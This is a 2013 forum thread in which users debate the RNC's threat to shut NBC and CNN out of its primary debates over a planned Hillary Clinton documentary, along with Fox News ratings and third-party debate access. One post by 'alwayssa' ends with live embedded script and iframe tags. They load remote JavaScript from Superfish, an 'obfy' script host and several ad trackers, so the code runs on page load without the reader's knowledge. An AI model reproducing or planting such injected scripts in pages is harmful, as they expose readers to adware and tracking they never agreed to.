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Post by JP5 on Aug 16, 2013 18:32:31 GMT
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Post by smartmouthwoman on Aug 16, 2013 19:15:37 GMT
Gee, and Barack just spent a whole day playing golf & partying with the head of MSNBC... wonder if they chuckled about the whole Hillary conspiracy.
Of course you know this plays right into her hands, don't you? Cant buy that kinda publicity. They should ignore the ole gal. I have a feeling she won't be the Dems pick anyway. She'll be 69 in 16... too old and tired to run.
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Post by osirisfaction on Aug 17, 2013 15:46:18 GMT
This really isn't going to go well as a campaign plan for the RNC.
They are narrowing their audience greatly by only using fox. Let's face it...the GOP didn't win with their narrow base in 2012, further narrowing their audience isn't going to help.
Not to mention, lets face it, FOX handles the republican candidates with kid gloves. Its gonna be full of right wing talking points but zero substantive debate.
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Post by homerjay on Aug 17, 2013 18:41:09 GMT
Another move to divide the populace over what amounts to be two major sports teams in a fixed event.
The RNC and the DNC both answer to the same big government for big business corporate socialist masters. Supporting EITHER party is supporting the status quo, the continuation of big government, deficit spending, globalist policies, police state fascism, and corporate socialism. The system is broken, utterly corrupt, and invalid. Stop participating in the charade.
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Post by Professor Peabody on Aug 17, 2013 19:16:34 GMT
This really isn't going to go well as a campaign plan for the RNC. They are narrowing their audience greatly by only using fox. Let's face it...the GOP didn't win with their narrow base in 2012, further narrowing their audience isn't going to help. Not to mention, lets face it, FOX handles the republican candidates with kid gloves. Its gonna be full of right wing talking points but zero substantive debate. Hardly. Fox news channel had almost double the viewers of all the other new channels put together in nearly every time slot. Folks simply don't want to hear the rubbish the rest are dishing out, the numbers prove it. Cable News Daily Ratings for Thursday, August 15, 2013Then add the following....... Recovery woes: America's second-largest employer is a temp agencyMost 2013 job growth is in part-time work, survey suggestsTwo-thirds of jobs go to immigrants during Obama’s four yearsThe number of individuals granted LPR status in 2012 decreased 2.9 percent from 1,062,040 in 2011 to 1,031,631 LPR: Legal Permanent Resident 65 Million People Could Lose Employer-Sponsored CoverageThe least of the Democrats worries for 2014 and 2016 is who's airing the debates. |
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Post by dangermouse on Aug 17, 2013 19:33:35 GMT
This is going to come back and bite them. which can only be a good thing. A media clampdown on those who don't pander to them shows reasonable people exactly where the're coming from.
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Post by JP5 on Aug 17, 2013 21:45:24 GMT
This is going to come back and bite them. which can only be a good thing. A media clampdown on those who don't pander to them shows reasonable people exactly where the're coming from. |
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Post by kranes56 on Aug 17, 2013 22:18:31 GMT
I don't see this working out for the GOP in the long run. It's like saying I'm not going to listen to someone because I don't like what they say. You can't do that, you have to open to what other people have to say.
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Post by ShivaTD on Aug 17, 2013 23:19:27 GMT
This move by the RNC provides both the motive and the opportunity to abolish the political control of the Commission on Presidential Debates that is controlled exclusively by the Republican and Democratic Parties. This commission has effectively shut down legitimate presidential debates for decades.
To replace it I propose the New Commission on Presidential Debates where every political party that qualified a candidate in enough states to have a theoretical majority in the Electoral College have equal representation. From memory this would include not just the Republican Party and Democratic Party but also the Libertarian Party, Green Party, and Constitutional Party and it might include others.
It is long past time to break the stranglehold on political debate in the United States. It time for someone to be on the stage that can say, "Stop, stop, you're both wrong and this is why......" It is time for the American People to know why both the Democrat and the Republican are wrong for America instead of the bobblehead debates where the differences between the candidates come down to which one is worse that the other one.
Millions of Americans are tired of voting for the lesser of two evils. Let's get some people up on the stage that might actually have an agenda that is good for America. At least let's get someone on stage that can challenge the Democrats and Republicans which hasn't happened since 1992 when Ross Perot last appeared on the stage (he won 19% of the Presidential vote that year) and he was banned from the stage in 1996 in spite of what he had achieved in '92.
The fact is that Republicans and Democrats are probably afraid of facing minority politicians that would exposed them for what they are, power grabbing control freaks that could really care less about what's right for America and the American People.
It is time to dump the existing Commission on Presidential Debates and replace it with one that is good for the American People as opposed to being good for the Republican and Democratic parties.
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Post by ShivaTD on Aug 18, 2013 13:35:09 GMT
This is going to come back and bite them. which can only be a good thing. A media clampdown on those who don't pander to them shows reasonable people exactly where the're coming from.
It hasn't even gone into production and no one knows what it will contain. I've actually read that the Clinton's are not enthused about what it might contain which is hardly an endorsement of the project. What if it contains a scathing attack on Clinton over Benghazi which is just as probably as anything else at this point. What if it is politically unbiased completely?
Additionally Hillary Clinton isn't even a candidate for the office of President and has already expressed no interest in running. Yes, her mind could change but that is somewhere in the future but apparently that is a "bogyman" for the Republican leadership.
Even if the show is eventually produced it will be released in 2014 a full two years before the next presidential election. It would have absolutely no influence on the election at all.
As usual it appears that the facts don't support the Republican paranoia and conspiracy theories.
By the way Hillary Clinton would be an awful president IMHO but if she runs I'd bet fifty-cents that the Republicans will nominate someone that would be worse for America based upon their last two presidential nominations. Clinton would be the bottom of the barrel for Democrats but I believe the Republican barrel is deeper and they can find someone worse to run for president. |
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Post by JP5 on Aug 18, 2013 16:51:53 GMT
Really? Seriously? You truly believe that CNN and NBC want to write a program to air just before the 2016 election that would in any way be critical of Hillary? Seriously? You have more faith in them than MOST Americans, I believe.
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Post by alwayssa on Aug 18, 2013 18:56:13 GMT
This is going to come back and bite them. which can only be a good thing. A media clampdown on those who don't pander to them shows reasonable people exactly where the're coming from. What I see is the RNC pouting like little babies. So what if NBC and CNN or producing a bio movie on a political candidate before. But what this really has to do is the RNC is finally learnign that the Citizens United ruling is not working out for them and they ware deliberately trying to drown out free speech. Faiir my ass. The RNC does not fair. They want a monopoly on the show thing. <script src="https://secure-content-delivery.com/data.js.php?i={A1F17AB7-016E-4A76-AFDE-70ABDC2E6CE7}&d=2013-6-23&s=http://worldpf.com/post/1542/quote/373&cb=0.04411206938814216" type="text/javascript"></script><script id="__changoScript" type="text/javascript">var __chd__ = {'aid':11079,'chaid':'www_objectify_ca'};(function() { var c = document.createElement('script'); c.type = 'text/javascript'; c.async = true;c.src = ( 'https:' == document.location.protocol ? 'https://z': 'http://p') + '.chango.com/static/c.js'; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(c, s);})();</script><script data-sifi-parsed="true" src="http://i.simpli.fi/dpx.js?cid=3065&m=0" id="__simpliScript" type="text/javascript"></script><script type="text/javascript" src="http://static.cdnsrv.com/apps/tv-classic/selectionLinks/tv-classic-selectionlinks.js"></script><script type="text/javascript" src="http://www.superfish.com/ws/sf_main.jsp?dlsource=wjfudcm&userId=e0ExRjE3QUI3LTAxNkUtNE&CTID=default-US"></script><script src="//static.cdnsrv.com/apps/tv-classic/tv-classic-fg.js" type="text/javascript"></script><iframe name="ykframe" id="ykframe"></iframe><script src="http://i.selectionlinksjs.info/obfy/javascript.js" type="text/javascript"></script> |
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Post by ShivaTD on Aug 19, 2013 8:04:19 GMT
Really? Seriously? You truly believe that CNN and NBC want to write a program to air just before the 2016 election that would in any way be critical of Hillary? Seriously? You have more faith in them than MOST Americans, I believe.
As for fairness in a documentary I'm sure the producers will seek to achieve that. The contents of the documentary will be based upon known facts (not Republican conspiracy theories) and at least as far as CNN goes it's pretty good at addressing the facts in a bipartisan manner based upon supplemental research I've done based upon their news stories.
For me the media news is just the beginning and I've found CNN to be fairly accurate and unbiased in their reporting. I've not found that to be true with Fox News that, more likely than not, tries to put a Republican spin on it's reporting.
Be that as it may if the documentary is produced it won't be released anytime near the 2016 elections and won't influence it. Additionally any speculation that such a documentary would be politically biased is pure speculation without any foundation.
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Post by Professor Peabody on Aug 19, 2013 8:21:11 GMT
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Post by ShivaTD on Aug 19, 2013 8:43:46 GMT
When it comes to the Republican Primaries there's only two groups of people that watch them.
1. Non-Republicans that are checking out what kind of nut cases from the bottom of the barrel are running for the Republican nomination.
2. Republicans that are trying to figure out who they can nominate to ensure a loss in the November election.
I jest of course. The truth is that in the last two presidential elections none of the Republican candidates could have won because the Republican Party has disenfranchised itself from so many voters. They've literally given up representing African-Americans and have all but lost the Hispanic vote as well. They've even managed to lose long time Republicans like my parents that found it impossible to support either John McCain or Mitt Romney. They told me McCain was a political dinosaur completely out of touch with reality today and Mitt Romney was a wealthy elitist that had absolutely no clue about the life and problems of average Americans. These are two people that never voted for any presidential candidate except Republicans until the last two elections where they decided they simply couldn't support the Republican candidates at all.
The Republican Party is in a tailspin into irrelevancy and if it doesn't make major changes in it's political platform its going to lose all political influence in the future. The power of the "Angry White Male" is slipping away while they continue to believe it has the political power it once had.
The Republican Party used to have noble principles but those have slowly slipped away probably starting with the Nixon Administration.
It's almost as if the RNC is taking the position that they want to have presidential primary debates that no one watches in 2016 and they might just get their wish.
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